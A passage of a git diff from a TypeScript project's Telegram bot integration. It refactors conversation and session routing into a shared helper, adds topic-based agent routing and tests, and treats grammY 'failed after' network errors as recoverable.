resolveThreadSessionKeys } from "../routing/session-key.js"; import { resolvePinnedMainDmOwnerFromAllowlist } from "../security/dm-policy-shared.js"; import { withTelegramApiErrorLogging } from "./api-logging.js"; import { @@ -67,10 +52,8 @@ import { buildGroupLabel, buildSenderLabel, buildSenderName, - resolveTelegramDirectPeerId, buildTelegramGroupFrom, buildTelegramGroupPeerId, - buildTelegramParentPeer, buildTypingThreadParams, resolveTelegramMediaPlaceholder, expandTextLinks, @@ -81,6 +64,7 @@ import { resolveTelegramThreadSpec, } from "./bot/helpers.js"; import type { StickerMetadata, TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { enforceTelegramDmAccess } from "./dm-access.js"; import { isTelegramForumServiceMessage } from "./forum-service-message.js"; import { evaluateTelegramGroupBaseAccess } from "./group-access.js"; @@ -209,89 +193,21 @@ export const buildTelegramMessageContext = async ({ !isGroup && groupConfig && "dmPolicy" in groupConfig ? (groupConfig.dmPolicy ?? dmPolicy) : dmPolicy; - const peerId = isGroup - ? buildTelegramGroupPeerId(chatId, resolvedThreadId) - : resolveTelegramDirectPeerId({ chatId, senderId }); - const parentPeer = buildTelegramParentPeer({ isGroup, resolvedThreadId, chatId }); // Fresh config for bindings lookup; other routing inputs are payload-derived. const freshCfg = loadConfig(); - let route: ResolvedAgentRoute = resolveAgentRoute({ + let { route, configuredBinding, configuredBindingSessionKey } = resolveTelegramConversationRoute({ cfg: freshCfg, - channel: "telegram", accountId: account.accountId, - peer: { - kind: isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + chatId, + isGroup, + resolvedThreadId, + replyThreadId, + senderId, + topicAgentId: topicConfig?.agentId, }); - // Per-topic agentId override: re-derive session key under the topic's agent. - const rawTopicAgentId = topicConfig?.agentId?.trim(); - if (rawTopicAgentId) { - // Validate agentId against configured agents; falls back to default if not found. - const topicAgentId = pickFirstExistingAgentId(freshCfg, rawTopicAgentId); - const overrideSessionKey = buildAgentSessionKey({ - agentId: topicAgentId, - channel: "telegram", - accountId: account.accountId, - peer: { kind: isGroup ? "group" : "direct", id: peerId }, - dmScope: freshCfg.session?.dmScope, - identityLinks: freshCfg.session?.identityLinks, - }).toLowerCase(); - const overrideMainSessionKey = buildAgentMainSessionKey({ - agentId: topicAgentId, - }).toLowerCase(); - route = { - ...route, - agentId: topicAgentId, - sessionKey: overrideSessionKey, - mainSessionKey: overrideMainSessionKey, - }; - logVerbose( - `telegram: per-topic agent override: topic=${resolvedThreadId ?? dmThreadId} agent=${topicAgentId} sessionKey=${overrideSessionKey}`, - ); - } - const configuredRoute = resolveConfiguredAcpRoute({ - cfg: freshCfg, - route, - channel: "telegram", - accountId: account.accountId, - conversationId: peerId, - parentConversationId: isGroup ? String(chatId) : undefined, - }); - let configuredBinding = configuredRoute.configuredBinding; - let configuredBindingSessionKey = configuredRoute.boundSessionKey ?? ""; - route = configuredRoute.route; - const threadBindingConversationId = - replyThreadId != null - ? `${chatId}:topic:${replyThreadId}` - : !isGroup - ? String(chatId) - : undefined; - if (threadBindingConversationId) { - const threadBinding = getSessionBindingService().resolveByConversation({ - channel: "telegram", - accountId: account.accountId, - conversationId: threadBindingConversationId, - }); - const boundSessionKey = threadBinding?.targetSessionKey?.trim(); - if (threadBinding && boundSessionKey) { - route = { - ...route, - sessionKey: boundSessionKey, - agentId: resolveAgentIdFromSessionKey(boundSessionKey), - matchedBy: "binding.channel", - }; - configuredBinding = null; - configuredBindingSessionKey = ""; - getSessionBindingService().touch(threadBinding.bindingId); - logVerbose( - `telegram: routed via bound conversation ${threadBindingConversationId} -> ${boundSessionKey}`, - ); - } - } - const requiresExplicitAccountBinding = (candidate: ResolvedAgentRoute): boolean => - candidate.accountId !== DEFAULT_ACCOUNT_ID && candidate.matchedBy === "default"; + const requiresExplicitAccountBinding = ( + candidate: ReturnType["route"], + ): boolean => candidate.accountId !== DEFAULT_ACCOUNT_ID && candidate.matchedBy === "default"; // Fail closed for named Telegram accounts when route resolution falls back to // default-agent routing. This prevents cross-account DM/session contamination. if (requiresExplicitAccountBinding(route)) { diff --git a/src/telegram/bot-message-dispatch.test.ts b/src/telegram/bot-message-dispatch.test.ts index b0411e65e70..2e6cf158f10 100644 --- a/src/telegram/bot-message-dispatch.test.ts +++ b/src/telegram/bot-message-dispatch.test.ts @@ -30,10 +30,14 @@ vi.mock("./send.js", () => ({ editMessageTelegram, })); -vi.mock("../config/sessions.js", async () => ({ - loadSessionStore, - resolveStorePath, -})); +vi.mock("../config/sessions.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + loadSessionStore, + resolveStorePath, + }; +}); vi.mock("./sticker-cache.js", () => ({ cacheSticker: vi.fn(), diff --git a/src/telegram/bot-message-dispatch.ts b/src/telegram/bot-message-dispatch.ts index 0433fed9f7a..e6f2f65218d 100644 --- a/src/telegram/bot-message-dispatch.ts +++ b/src/telegram/bot-message-dispatch.ts @@ -15,7 +15,11 @@ import { logAckFailure, logTypingFailure } from "../channels/logging.js"; import { createReplyPrefixOptions } from "../channels/reply-prefix.js"; import { createTypingCallbacks } from "../channels/typing.js"; import { resolveMarkdownTableMode } from "../config/markdown-tables.js"; -import { loadSessionStore, resolveStorePath } from "../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, +} from "../config/sessions.js"; import type { OpenClawConfig, ReplyToMode, TelegramAccountConfig } from "../config/types.js"; import { danger, logVerbose } from "../globals.js"; import { getAgentScopedMediaLocalRoots } from "../media/local-roots.js"; @@ -117,7 +121,7 @@ function resolveTelegramReasoningLevel(params: { try { const storePath = resolveStorePath(cfg.session?.store, { agentId }); const store = loadSessionStore(storePath, { skipCache: true }); - const entry = store[sessionKey.toLowerCase()] ?? store[sessionKey]; + const entry = resolveSessionStoreEntry({ store, sessionKey }).existing; const level = entry?.reasoningLevel; if (level === "on" || level === "stream") { return level; diff --git a/src/telegram/bot-native-commands.session-meta.test.ts b/src/telegram/bot-native-commands.session-meta.test.ts index cbf6a83be15..1b05ddd0d9c 100644 --- a/src/telegram/bot-native-commands.session-meta.test.ts +++ b/src/telegram/bot-native-commands.session-meta.test.ts @@ -1,6 +1,9 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { registerTelegramNativeCommands } from "./bot-native-commands.js"; +import { + registerTelegramNativeCommands, + type RegisterTelegramHandlerParams, +} from "./bot-native-commands.js"; import { createNativeCommandTestParams } from "./bot-native-commands.test-helpers.js"; // All mocks scoped to this file only — does not affect bot-native-commands.test.ts @@ -24,6 +27,12 @@ const sessionMocks = vi.hoisted(() => ({ const replyMocks = vi.hoisted(() => ({ dispatchReplyWithBufferedBlockDispatcher: vi.fn(async () => undefined), })); +const sessionBindingMocks = vi.hoisted(() => ({ + resolveByConversation: vi.fn< + (ref: unknown) => { bindingId: string; targetSessionKey: string } | null + >(() => null), + touch: vi.fn(), +})); vi.mock("../acp/persistent-bindings.js", async (importOriginal) => { const actual = await importOriginal(); @@ -49,6 +58,16 @@ vi.mock("../auto-reply/reply/provider-dispatcher.js", () => ({ vi.mock("../channels/reply-prefix.js", () => ({ createReplyPrefixOptions: vi.fn(() => ({ onModelSelected: () => {} })), })); +vi.mock("../infra/outbound/session-binding-service.js", () => ({ + getSessionBindingService: () => ({ + bind: vi.fn(), + getCapabilities: vi.fn(), + listBySession: vi.fn(), + resolveByConversation: (ref: unknown) => sessionBindingMocks.resolveByConversation(ref), + touch: (bindingId: string, at?: number) => sessionBindingMocks.touch(bindingId, at), + unbind: vi.fn(), + }), +})); vi.mock("../auto-reply/skill-commands.js", async (importOriginal) => { const actual = await importOriginal(); return { ...actual, listSkillCommandsForAgents: vi.fn(() => []) }; @@ -106,11 +125,41 @@ function registerAndResolveStatusHandler(params: { cfg: OpenClawConfig; allowFrom?: string[]; groupAllowFrom?: string[]; + resolveTelegramGroupConfig?: RegisterTelegramHandlerParams["resolveTelegramGroupConfig"]; }): { handler: TelegramCommandHandler; sendMessage: ReturnType; } { - const { cfg, allowFrom, groupAllowFrom } = params; + const { cfg, allowFrom, groupAllowFrom, resolveTelegramGroupConfig } = params; + return registerAndResolveCommandHandlerBase({ + commandName: "status", + cfg, + allowFrom: allowFrom ?? ["*"], + groupAllowFrom: groupAllowFrom ?? [], + useAccessGroups: true, + resolveTelegramGroupConfig, + }); +} + +function registerAndResolveCommandHandlerBase(params: { + commandName: string; + cfg: OpenClawConfig; + allowFrom: string[]; + groupAllowFrom: string[]; + useAccessGroups: boolean; + resolveTelegramGroupConfig?: RegisterTelegramHandlerParams["resolveTelegramGroupConfig"]; +}): { + handler: TelegramCommandHandler; + sendMessage: ReturnType; +} { + const { + commandName, + cfg, + allowFrom, + groupAllowFrom, + useAccessGroups, + resolveTelegramGroupConfig, + } = params; const commandHandlers = new Map(); const sendMessage = vi.fn().mockResolvedValue(undefined); registerTelegramNativeCommands({ @@ -125,12 +174,14 @@ function registerAndResolveStatusHandler(params: { }), } as unknown as Parameters[0]["bot"], cfg, - allowFrom: allowFrom ?? ["*"], - groupAllowFrom: groupAllowFrom ?? [], + allowFrom, + groupAllowFrom, + useAccessGroups, + resolveTelegramGroupConfig, }), }); - const handler = commandHandlers.get("status"); + const handler = commandHandlers.get(commandName); expect(handler).toBeTruthy(); return { handler: handler as TelegramCommandHandler, sendMessage }; } @@ -141,34 +192,64 @@ function registerAndResolveCommandHandler(params: { allowFrom?: string[]; groupAllowFrom?: string[]; useAccessGroups?: boolean; + resolveTelegramGroupConfig?: RegisterTelegramHandlerParams["resolveTelegramGroupConfig"]; }): { handler: TelegramCommandHandler; sendMessage: ReturnType; } { - const { commandName, cfg, allowFrom, groupAllowFrom, useAccessGroups } = params; - const commandHandlers = new Map(); - const sendMessage = vi.fn().mockResolvedValue(undefined); - registerTelegramNativeCommands({ - ...createNativeCommandTestParams({ - bot: { - api: { - setMyCommands: vi.fn().mockResolvedValue(undefined), - sendMessage, - }, - command: vi.fn((name: string, cb: TelegramCommandHandler) => { - commandHandlers.set(name, cb); - }), - } as unknown as Parameters[0]["bot"], - cfg, - allowFrom: allowFrom ?? [], - groupAllowFrom: groupAllowFrom ?? [], - useAccessGroups: useAccessGroups ?? true, - }), + const { + commandName, + cfg, + allowFrom, + groupAllowFrom, + useAccessGroups, + resolveTelegramGroupConfig, + } = params; + return registerAndResolveCommandHandlerBase({ + commandName, + cfg, + allowFrom: allowFrom ?? [], + groupAllowFrom: groupAllowFrom ?? [], + useAccessGroups: useAccessGroups ?? true, + resolveTelegramGroupConfig, }); +} - const handler = commandHandlers.get(commandName); - expect(handler).toBeTruthy(); - return { handler: handler as TelegramCommandHandler, sendMessage }; +function createConfiguredAcpTopicBinding(boundSessionKey: string) { + return { + spec: { + channel: "telegram", + accountId: "default", + conversationId: "-1001234567890:topic:42", + parentConversationId: "-1001234567890", + agentId: "codex", + mode: "persistent", + }, + record: { + bindingId: "config:acp:telegram:default:-1001234567890:topic:42", + targetSessionKey: boundSessionKey, + targetKind: "session", + conversation: { + channel: "telegram", + accountId: "default", + conversationId: "-1001234567890:topic:42", + parentConversationId: "-1001234567890", + }, + status: "active", + boundAt: 0, + }, + } satisfies import("../acp/persistent-bindings.js").ResolvedConfiguredAcpBinding; +} + +function expectUnauthorizedNewCommandBlocked(sendMessage: ReturnType) { + expect(replyMocks.dispatchReplyWithBufferedBlockDispatcher).not.toHaveBeenCalled(); + expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).not.toHaveBeenCalled(); + expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).not.toHaveBeenCalled(); + expect(sendMessage).toHaveBeenCalledWith( + -1001234567890, + "You are not authorized to use this command.", + expect.objectContaining({ message_thread_id: 42 }), + ); } describe("registerTelegramNativeCommands — session metadata", () => { @@ -183,6 +264,8 @@ describe("registerTelegramNativeCommands — session metadata", () => { sessionMocks.recordSessionMetaFromInbound.mockClear().mockResolvedValue(undefined); sessionMocks.resolveStorePath.mockClear().mockReturnValue("/tmp/openclaw-sessions.json"); replyMocks.dispatchReplyWithBufferedBlockDispatcher.mockClear().mockResolvedValue(undefined); + sessionBindingMocks.resolveByConversation.mockReset().mockReturnValue(null); + sessionBindingMocks.touch.mockReset(); }); it("calls recordSessionMetaFromInbound after a native slash command", async () => { @@ -198,7 +281,7 @@ describe("registerTelegramNativeCommands — session metadata", () => { )[0]?.[0]; expect(call?.ctx?.OriginatingChannel).toBe("telegram"); expect(call?.ctx?.Provider).toBe("telegram"); - expect(call?.sessionKey).toBeDefined(); + expect(call?.sessionKey).toBe("agent:main:telegram:slash:200"); }); it("awaits session metadata persistence before dispatch", async () => { @@ -222,29 +305,9 @@ describe("registerTelegramNativeCommands — session metadata", () => { it("routes Telegram native commands through configured ACP topic bindings", async () => { const boundSessionKey = "agent:codex:acp:binding:telegram:default:feedface"; - persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ - spec: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - agentId: "codex", - mode: "persistent", - }, - record: { - bindingId: "config:acp:telegram:default:-1001234567890:topic:42", - targetSessionKey: boundSessionKey, - targetKind: "session", - conversation: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - }, - status: "active", - boundAt: 0, - }, - }); + persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue( + createConfiguredAcpTopicBinding(boundSessionKey), + ); persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ ok: true, sessionKey: boundSessionKey, @@ -265,33 +328,71 @@ describe("registerTelegramNativeCommands — session metadata", () => { > )[0]?.[0]; expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe(boundSessionKey); + const sessionMetaCall = ( + sessionMocks.recordSessionMetaFromInbound.mock.calls as unknown as Array< + [{ sessionKey?: string }] + > + )[0]?.[0]; + expect(sessionMetaCall?.sessionKey).toBe("agent:codex:telegram:slash:200"); + }); + + it("routes Telegram native commands through topic-specific agent sessions", async () => { + const { handler } = registerAndResolveStatusHandler({ + cfg: {}, + allowFrom: ["200"], + groupAllowFrom: ["200"], + resolveTelegramGroupConfig: () => ({ + groupConfig: { requireMention: false }, + topicConfig: { agentId: "zu" }, + }), + }); + await handler(buildStatusTopicCommandContext()); + + const dispatchCall = ( + replyMocks.dispatchReplyWithBufferedBlockDispatcher.mock.calls as unknown as Array< + [{ ctx?: { CommandTargetSessionKey?: string } }] + > + )[0]?.[0]; + expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe( + "agent:zu:telegram:group:-1001234567890:topic:42", + ); + }); + + it("routes Telegram native commands through bound topic sessions", async () => { + sessionBindingMocks.resolveByConversation.mockReturnValue({ + bindingId: "default:-1001234567890:topic:42", + targetSessionKey: "agent:codex-acp:session-1", + }); + + const { handler } = registerAndResolveStatusHandler({ + cfg: {}, + allowFrom: ["200"], + groupAllowFrom: ["200"], + }); + await handler(buildStatusTopicCommandContext()); + + expect(sessionBindingMocks.resolveByConversation).toHaveBeenCalledWith({ + channel: "telegram", + accountId: "default", + conversationId: "-1001234567890:topic:42", + }); + const dispatchCall = ( + replyMocks.dispatchReplyWithBufferedBlockDispatcher.mock.calls as unknown as Array< + [{ ctx?: { CommandTargetSessionKey?: string } }] + > + )[0]?.[0]; + expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe("agent:codex-acp:session-1"); + expect(sessionBindingMocks.touch).toHaveBeenCalledWith( + "default:-1001234567890:topic:42", + undefined, + ); }); it("aborts native command dispatch when configured ACP topic binding cannot initialize", async () => { const boundSessionKey = "agent:codex:acp:binding:telegram:default:feedface"; - persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ - spec: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - agentId: "codex", - mode: "persistent", - }, - record: { - bindingId: "config:acp:telegram:default:-1001234567890:topic:42", - targetSessionKey: boundSessionKey, - targetKind: "session", - conversation: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - }, - status: "active", - boundAt: 0, - }, - }); + persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue( + createConfiguredAcpTopicBinding(boundSessionKey), + ); persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ ok: false, sessionKey: boundSessionKey, @@ -315,29 +416,9 @@ describe("registerTelegramNativeCommands — session metadata", () => { it("keeps /new blocked in ACP-bound Telegram topics when sender is unauthorized", async () => { const boundSessionKey = "agent:codex:acp:binding:telegram:default:feedface"; - persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ - spec: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - agentId: "codex", - mode: "persistent", - }, - record: { - bindingId: "config:acp:telegram:default:-1001234567890:topic:42", - targetSessionKey: boundSessionKey, - targetKind: "session", - conversation: { - channel: "telegram", - accountId: "default", - conversationId: "-1001234567890:topic:42", - parentConversationId: "-1001234567890", - }, - status: "active", - boundAt: 0, - }, - }); + persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue( + createConfiguredAcpTopicBinding(boundSessionKey), + ); persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ ok: true, sessionKey: boundSessionKey, @@ -352,14 +433,7 @@ describe("registerTelegramNativeCommands — session metadata", () => { }); await handler(buildStatusTopicCommandContext()); - expect(replyMocks.dispatchReplyWithBufferedBlockDispatcher).not.toHaveBeenCalled(); - expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).not.toHaveBeenCalled(); - expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).not.toHaveBeenCalled(); - expect(sendMessage).toHaveBeenCalledWith( - -1001234567890, - "You are not authorized to use this command.", - expect.objectContaining({ message_thread_id: 42 }), - ); + expectUnauthorizedNewCommandBlocked(sendMessage); }); it("keeps /new blocked for unbound Telegram topics when sender is unauthorized", async () => { @@ -374,13 +448,6 @@ describe("registerTelegramNativeCommands — session metadata", () => { }); await handler(buildStatusTopicCommandContext()); - expect(replyMocks.dispatchReplyWithBufferedBlockDispatcher).not.toHaveBeenCalled(); - expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).not.toHaveBeenCalled(); - expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).not.toHaveBeenCalled(); - expect(sendMessage).toHaveBeenCalledWith( - -1001234567890, - "You are not authorized to use this command.", - expect.objectContaining({ message_thread_id: 42 }), - ); + expectUnauthorizedNewCommandBlocked(sendMessage); }); }); diff --git a/src/telegram/bot-native-commands.test-helpers.ts b/src/telegram/bot-native-commands.test-helpers.ts index 0a749841d76..b79d61d48a3 100644 --- a/src/telegram/bot-native-commands.test-helpers.ts +++ b/src/telegram/bot-native-commands.test-helpers.ts @@ -19,6 +19,7 @@ export function createNativeCommandTestParams(params: { nativeEnabled?: boolean; nativeSkillsEnabled?: boolean; nativeDisabledExplicit?: boolean; + resolveTelegramGroupConfig?: RegisterTelegramNativeCommandParams["resolveTelegramGroupConfig"]; opts?: RegisterTelegramNativeCommandParams["opts"]; }): RegisterTelegramNativeCommandParams { return { @@ -36,10 +37,12 @@ export function createNativeCommandTestParams(params: { nativeSkillsEnabled: params.nativeSkillsEnabled ?? true, nativeDisabledExplicit: params.nativeDisabledExplicit ?? false, resolveGroupPolicy: () => ({ allowlistEnabled: false, allowed: true }), - resolveTelegramGroupConfig: () => ({ - groupConfig: undefined, - topicConfig: undefined, - }), + resolveTelegramGroupConfig: + params.resolveTelegramGroupConfig ?? + (() => ({ + groupConfig: undefined, + topicConfig: undefined, + })), shouldSkipUpdate: () => false, opts: params.opts ?? { token: "token" }, }; diff --git a/src/telegram/bot-native-commands.ts b/src/telegram/bot-native-commands.ts index 115180c8c4c..cc00a46dd8a 100644 --- a/src/telegram/bot-native-commands.ts +++ b/src/telegram/bot-native-commands.ts @@ -1,8 +1,5 @@ import type { Bot, Context } from "grammy"; -import { - ensureConfiguredAcpRouteReady, - resolveConfiguredAcpRoute, -} from "../acp/persistent-bindings.route.js"; +import { ensureConfiguredAcpRouteReady } from "../acp/persistent-bindings.route.js"; import { resolveChunkMode } from "../auto-reply/chunk.js"; import type { CommandArgs } from "../auto-reply/commands-registry.js"; import { @@ -60,12 +57,11 @@ import { buildTelegramThreadParams, buildSenderName, buildTelegramGroupFrom, - buildTelegramGroupPeerId, - buildTelegramParentPeer, resolveTelegramGroupAllowFromContext, resolveTelegramThreadSpec, } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { evaluateTelegramGroupBaseAccess, evaluateTelegramGroupPolicyAccess, @@ -424,15 +420,17 @@ export const registerTelegramNativeCommands = ({ isGroup: boolean; isForum: boolean; resolvedThreadId?: number; + senderId?: string; + topicAgentId?: string; }): Promise<{ chatId: number; threadSpec: ReturnType; - route: ReturnType; + route: ReturnType["route"]; mediaLocalRoots: readonly string[] | undefined; tableMode: ReturnType; chunkMode: ReturnType; } | null> => { - const { msg, isGroup, isForum, resolvedThreadId } = params; + const { msg, isGroup, isForum, resolvedThreadId, senderId, topicAgentId } = params; const chatId = msg.chat.id; const messageThreadId = (msg as { message_thread_id?: number }).message_thread_id; const threadSpec = resolveTelegramThreadSpec({ @@ -440,28 +438,16 @@ export const registerTelegramNativeCommands = ({ isForum, messageThreadId, }); - const parentPeer = buildTelegramParentPeer({ isGroup, resolvedThreadId, chatId }); - const peerId = isGroup ? buildTelegramGroupPeerId(chatId, resolvedThreadId) : String(chatId); - let route = resolveAgentRoute({ + let { route, configuredBinding } = resolveTelegramConversationRoute({ cfg, - channel: "telegram", accountId, - peer: { - kind: isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + chatId, + isGroup, + resolvedThreadId, + replyThreadId: threadSpec.id, + senderId, + topicAgentId, }); - const configuredRoute = resolveConfiguredAcpRoute({ - cfg, - route, - channel: "telegram", - accountId, - conversationId: peerId, - parentConversationId: isGroup ? String(chatId) : undefined, - }); - const configuredBinding = configuredRoute.configuredBinding; - route = configuredRoute.route; if (configuredBinding) { const ensured = await ensureConfiguredAcpRouteReady({ cfg, @@ -562,6 +548,8 @@ export const registerTelegramNativeCommands = ({ isGroup, isForum, resolvedThreadId, + senderId, + topicAgentId: topicConfig?.agentId, }); if (!runtimeContext) { return; @@ -669,7 +657,7 @@ export const registerTelegramNativeCommands = ({ WasMentioned: true, CommandAuthorized: commandAuthorized, CommandSource: "native" as const, - SessionKey: `telegram:slash:${senderId || chatId}`, + SessionKey: `agent:${route.agentId}:telegram:slash:${senderId || chatId}`, AccountId: route.accountId, CommandTargetSessionKey: sessionKey, MessageThreadId: threadSpec.id, @@ -788,6 +776,8 @@ export const registerTelegramNativeCommands = ({ isGroup, isForum, resolvedThreadId, + senderId, + topicAgentId: auth.topicConfig?.agentId, }); if (!runtimeContext) { return; diff --git a/src/telegram/bot.ts b/src/telegram/bot.ts index 723db7ae508..9549fe71986 100644 --- a/src/telegram/bot.ts +++ b/src/telegram/bot.ts @@ -262,7 +262,7 @@ export function createTelegramBot(opts: TelegramBotOptions) { }); const useAccessGroups = cfg.commands?.useAccessGroups !== false; const ackReactionScope = cfg.messages?.ackReactionScope ?? "group-mentions"; - const mediaMaxBytes = (opts.mediaMaxMb ?? telegramCfg.mediaMaxMb ?? 5) * 1024 * 1024; + const mediaMaxBytes = (opts.mediaMaxMb ?? telegramCfg.mediaMaxMb ?? 100) * 1024 * 1024; const logger = getChildLogger({ module: "telegram-auto-reply" }); const streamMode = resolveTelegramStreamMode(telegramCfg); const resolveGroupPolicy = (chatId: string | number) => diff --git a/src/telegram/conversation-route.ts b/src/telegram/conversation-route.ts new file mode 100644 index 00000000000..478e9049f7a --- /dev/null +++ b/src/telegram/conversation-route.ts @@ -0,0 +1,122 @@ +import { resolveConfiguredAcpRoute } from "../acp/persistent-bindings.route.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { logVerbose } from "../globals.js"; +import { getSessionBindingService } from "../infra/outbound/session-binding-service.js"; +import { + buildAgentSessionKey, + pickFirstExistingAgentId, + resolveAgentRoute, +} from "../routing/resolve-route.js"; +import { buildAgentMainSessionKey, resolveAgentIdFromSessionKey } from "../routing/session-key.js"; +import { + buildTelegramGroupPeerId, + buildTelegramParentPeer, + resolveTelegramDirectPeerId, +} from "./bot/helpers.js"; + +export function resolveTelegramConversationRoute(params: { + cfg: OpenClawConfig; + accountId: string; + chatId: number | string; + isGroup: boolean; + resolvedThreadId?: number; + replyThreadId?: number; + senderId?: string | number | null; + topicAgentId?: string | null; +}): { + route: ReturnType; + configuredBinding: ReturnType["configuredBinding"]; + configuredBindingSessionKey: string; +} { + const peerId = params.isGroup + ? buildTelegramGroupPeerId(params.chatId, params.resolvedThreadId) + : resolveTelegramDirectPeerId({ + chatId: params.chatId, + senderId: params.senderId, + }); + const parentPeer = buildTelegramParentPeer({ + isGroup: params.isGroup, + resolvedThreadId: params.resolvedThreadId, + chatId: params.chatId, + }); + let route = resolveAgentRoute({ + cfg: params.cfg, + channel: "telegram", + accountId: params.accountId, + peer: { + kind: params.isGroup ? "group" : "direct", + id: peerId, + }, + parentPeer, + }); + + const rawTopicAgentId = params.topicAgentId?.trim(); + if (rawTopicAgentId) { + const topicAgentId = pickFirstExistingAgentId(params.cfg, rawTopicAgentId); + route = { + ...route, + agentId: topicAgentId, + sessionKey: buildAgentSessionKey({ + agentId: topicAgentId, + channel: "telegram", + accountId: params.accountId, + peer: { kind: params.isGroup ? "group" : "direct", id: peerId }, + dmScope: params.cfg.session?.dmScope, + identityLinks: params.cfg.session?.identityLinks, + }).toLowerCase(), + mainSessionKey: buildAgentMainSessionKey({ + agentId: topicAgentId, + }).toLowerCase(), + }; + logVerbose( + `telegram: topic route override: topic=${params.resolvedThreadId ?? params.replyThreadId} agent=${topicAgentId} sessionKey=${route.sessionKey}`, + ); + } + + const configuredRoute = resolveConfiguredAcpRoute({ + cfg: params.cfg, + route, + channel: "telegram", + accountId: params.accountId, + conversationId: peerId, + parentConversationId: params.isGroup ? String(params.chatId) : undefined, + }); + let configuredBinding = configuredRoute.configuredBinding; + let configuredBindingSessionKey = configuredRoute.boundSessionKey ?? ""; + route = configuredRoute.route; + + const threadBindingConversationId = + params.replyThreadId != null + ? `${params.chatId}:topic:${params.replyThreadId}` + : !params.isGroup + ? String(params.chatId) + : undefined; + if (threadBindingConversationId) { + const threadBinding = getSessionBindingService().resolveByConversation({ + channel: "telegram", + accountId: params.accountId, + conversationId: threadBindingConversationId, + }); + const boundSessionKey = threadBinding?.targetSessionKey?.trim(); + if (threadBinding && boundSessionKey) { + route = { + ...route, + sessionKey: boundSessionKey, + agentId: resolveAgentIdFromSessionKey(boundSessionKey), + matchedBy: "binding.channel", + }; + configuredBinding = null; + configuredBindingSessionKey = ""; + getSessionBindingService().touch(threadBinding.bindingId); + logVerbose( + `telegram: routed via bound conversation ${threadBindingConversationId} -> ${boundSessionKey}`, + ); + } + } + + return { + route, + configuredBinding, + configuredBindingSessionKey, + }; +} diff --git a/src/telegram/network-errors.test.ts b/src/telegram/network-errors.test.ts index b92081a8284..4eff7b4da2e 100644 --- a/src/telegram/network-errors.test.ts +++ b/src/telegram/network-errors.test.ts @@ -49,6 +49,15 @@ describe("isRecoverableTelegramNetworkError", () => { expect(isRecoverableTelegramNetworkError(undiciSnippetErr, { context: "polling" })).toBe(true); }); + it("treats grammY failed-after envelope errors as recoverable in send context", () => { + expect( + isRecoverableTelegramNetworkError( + new Error("Network request for 'sendMessage' failed after 2 attempts."), + { context: "send" }, + ), + ).toBe(true); + }); + it("returns false for unrelated errors", () => { expect(isRecoverableTelegramNetworkError(new Error("invalid token"))).toBe(false); }); diff --git a/src/telegram/network-errors.ts b/src/telegram/network-errors.ts index f9b7061dd61..b670bc48212 100644 --- a/src/telegram/network-errors.ts +++ b/src/telegram/network-errors.ts @@ -33,6 +33,8 @@ const RECOVERABLE_ERROR_NAMES = new Set([ ]); const ALWAYS_RECOVERABLE_MESSAGES = new Set(["fetch failed", "typeerror: fetch failed"]); +const GRAMMY_NETWORK_REQUEST_FAILED_AFTER_RE = + /^network request(?:\s+for\s+["']?[^"']+["']?)?\s+failed\s+after\b.*[!.]?$/i; const RECOVERABLE_MESSAGE_SNIPPETS = [ "undici", @@ -106,6 +108,9 @@ export function isRecoverableTelegramNetworkError( if (message && ALWAYS_RECOVERABLE_MESSAGES.has(message)) { return true; } + if (message && GRAMMY_NETWORK_REQUEST_FAILED_AFTER_RE.test(message)) { + return true; + } if (allowMessageMatch && message) { if (RECOVERABLE_MESSAGE_SNIPPETS.some((snippet) => message.includes(snippet))) { return true; diff --git a/src/telegram/send.test.ts b/src/telegram/send.test.ts index 78a28cd3920..38097c49232 100644 --- a/src/telegram/send.test.ts +++ b/src/telegram/send.test.ts @@ -779,6 +779,31 @@ describe("sendMessageTelegram", () => { expect(sendMessage).toHaveBeenCalledTimes(1); }); + it("retries when grammY network envelope message includes failed-after wording", async () => { + const chatId = "123"; + const sendMessage = vi + .fn() + .mockRejectedValueOnce( + new Error("Network request for 'sendMessage' failed after 1 attempts."), + ) + .mockResolvedValueOnce({ + message_id: 7, + chat: { id: chatId }, + }); + const api = { sendMessage } as unknown as { + sendMessage: typeof sendMessage; + }; + + const result = await sendMessageTelegram(chatId, "hi", { + token: "tok", + api, + retry: { attempts: 2, minDelayMs: 0, maxDelayMs: 0, jitter: 0 }, + }); + + expect(sendMessage).toHaveBeenCalledTimes(2); + expect(result).toEqual({ messageId: "7", chatId }); + }); + it("sends GIF media as animation", 